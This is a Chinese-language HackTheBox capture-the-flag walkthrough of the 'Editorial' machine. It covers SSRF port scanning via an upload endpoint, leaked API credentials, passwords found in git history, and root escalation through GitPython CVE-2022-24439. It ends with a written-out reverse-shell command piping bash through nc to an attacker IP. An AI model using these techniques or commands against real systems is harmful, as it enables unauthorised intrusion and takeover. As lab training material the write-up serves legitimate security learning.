HackTheBox----Editorial

Editorial 测试过程

1 信息收集

NMAP端口扫描

nmap -sC -sV 10.10.11.20

服务器开启了 22、80 端口

在这里插入图片描述

80 端口测试

服务器只开启了 22 和 80 端口，先从 80 端口开始进行测试

echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

publish with us 功能点下有一个上传功能，对其进行测试

在这里插入图片描述

在对上传功能进行测试时，发现在输入 Book information 时，通过 /upload-cover 接口向服务器发送了一个请求，响应是一个图片地址

在输入 Book information 时，服务器返回一个图片地址，符合 SSRF 漏洞的特征，尝试探测是否存在 SSRF

在这里插入图片描述

2 SSRF漏洞探测

输入本地 ip http://127.0.0.1，服务器返回依旧是图片地址，尝试端口扫描，看是否可以遍历出开放端口

在这里插入图片描述

使用 burpsuite Intruder 模块测试开放端口

在这里插入图片描述

在测试其他端口时，响应返回一个图片地址：/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg，但是在扫描 5000 端口 时，响应返回：static/uploads/e074c82c-85ce-4564-a471-0b6216d9de86
在这里插入图片描述

访问static/uploads/018ba67d-c3cb-4f60-a48b-9d250fe6387a，响应信息泄露多个 api 路径

在这里插入图片描述

在访问 /api/latest/metadata/messages/authors 路径时，响应返回 static/uploads/1c38a12c-3afb-46c8-a01c-8faedcdcf902，继续访问获取到的路径

在这里插入图片描述

在响应中发现存在账号密码：dev: dev080217_devAPI!@

在这里插入图片描述

SSH登录 dev用户

(base) gryphon@wsdl HTB %ssh dev@10.10.11.20
dev@10.10.11.20's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)Expanded Security Maintenance for Applications is not enabled.0 updates can be applied immediately.Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro statusThe list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsLast login: Sat Jul  6 17:29:05 2024 from 10.10.14.191
dev@editorial:~$

在这里插入图片描述

3 权限提升

信息收集

在这里插入图片描述

使用 git show 命令以可读的方式来显示一个 Git 对象

在执行 git show 1e84a036b2f33c59e2390730699a488c65643d28 时输出包含账密：
prod: 080217_Producti0n_2023!@

在这里插入图片描述

SSH登录 prod用户

ssh prod@10.10.11.20

sudo -l # 列出当前用户可执行命令

可以以 root 权限执行 clone_prod_change.py 文件

在这里插入图片描述

使用命令 pip3 list 分析代码文件和软件包时，发现 GitPython 3.1.29 ，存在RCE 漏洞的影响，编号CVE-2022–24439。

在这里插入图片描述

CVE-2022–24439 利用

点击查看CVE-2022024439 漏洞详情

利用反弹 shell 获取 root 权限

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c rm% /tmp/f;mkfifo% /tmp/f;cat% /tmp/f|bash% -i% 2>&1|nc% 10.10.14.171% 4444% >/tmp/f"

在这里插入图片描述